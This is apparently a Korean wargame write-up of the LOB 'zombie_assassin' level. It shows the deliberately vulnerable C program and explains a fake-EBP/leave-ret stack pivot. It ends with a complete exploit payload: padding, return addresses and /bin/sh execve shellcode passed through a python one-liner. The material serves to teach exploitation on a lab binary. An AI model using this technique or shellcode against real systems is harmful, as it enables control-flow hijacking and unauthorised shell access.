[LOB] assassin -> zombie_assassin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | /* The Lord of the BOF : The Fellowship of the BOF - zombie_assassin - FEBP */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { char buffer[40]; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] == '\xbf') { printf("stack retbayed you!\n"); exit(0); } if(argv[1][47] == '\x40') { printf("library retbayed you, too!!\n"); exit(0); } // strncpy instead of strcpy! strncpy(buffer, argv[1], 48); printf("%s\n", buffer); } | cs |
하란대로 FakeEBP를 이용하자.
헷갈리므로 RET가 리턴어드레스이고 ret가 에필로고 leave-ret의 ret라고 하겠다.
1. 먼저 SFP를 argv[1]의 값이 있는 곳의 주소로 덮고 RET를 leave-ret의 주소로 덮는다.
---------------------------------------------------
| Buf | SFP | RET | argv |
---------------------------------------------------
↑ ↑
esp ebp
2. main이 종료되면서 첫번째 leave-ret이 수행된다.
mov esp ebp, pop ebp가 수행되고 ebp에는 FakeEBP가 자리잡는다.
---------------------------------------------------
| Buf | SFP(fake) | RET(leave-ret) | argv |
---------------------------------------------------
↑
esp,ebp
---------------------------------------------------
| Buf | SFP(fake) | RET(leave-ret) | argv |
---------------------------------------------------
↑
esp
그리고 ret이 수행되어 두번째 leave-ret으로 뛰게 된다.
2. 두번째 leave-ret이 수행된다.
mov esp ebp가 수행되면서 esp는 ebp(FakeEBP)가 있는 곳으로 이동한다.
pop ebp esp값이 4증가한다
pop eip, jmp eip 으로 인해 원하는 주소로 점프할 수 있게 된다.
설명을 잘 못해서 저리 표현되었다.
간단히 말하자면 ebp를 조작하여 leave-ret를 호출하여 leave를 통해 조작된 FakeEBP의 주소로 ESP를 이동시켜 거기서 esp를 기준으로 다시 ret하여
공격자가 지정된 곳으로 흐름을 조종하는 것이다.
자 이제 공격해보자.
leave-ret 주소 : 0x80484df
argv[1]의 주소도 찾았다.
DUMMY(4)+&shellcode+버퍼(32) + FakeEBP + leave-ret + shellcode 로 하고 FakeEBP+8인곳에 shellcode의 주소를 두자
Dummy와 &shellcode는 FakeEBP를 통해 esp가 이동하고 pop ebp, pop eip, jmp eip를 위해 넣었다.
payload : ./zombie_assassin `python -c 'print("AAAA"+"\x42\xf8\xff\xbf"+"A"*32+"\xf2\xf7\xff\xbf"+"\xdf\x84\x04\x08"+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`
클리어!
'Wargame > LOB' 카테고리의 다른 글
[LOB] succubus -> nightmare (0) | 2018.04.03 |
---|---|
[LOB] zombie_assassin -> succubus (0) | 2018.04.03 |
[LOB] giant -> assassin (0) | 2018.04.02 |
[LOB] bugbear -> giant (0) | 2018.04.02 |
[LOB] darkknight -> bugbear (0) | 2018.04.02 |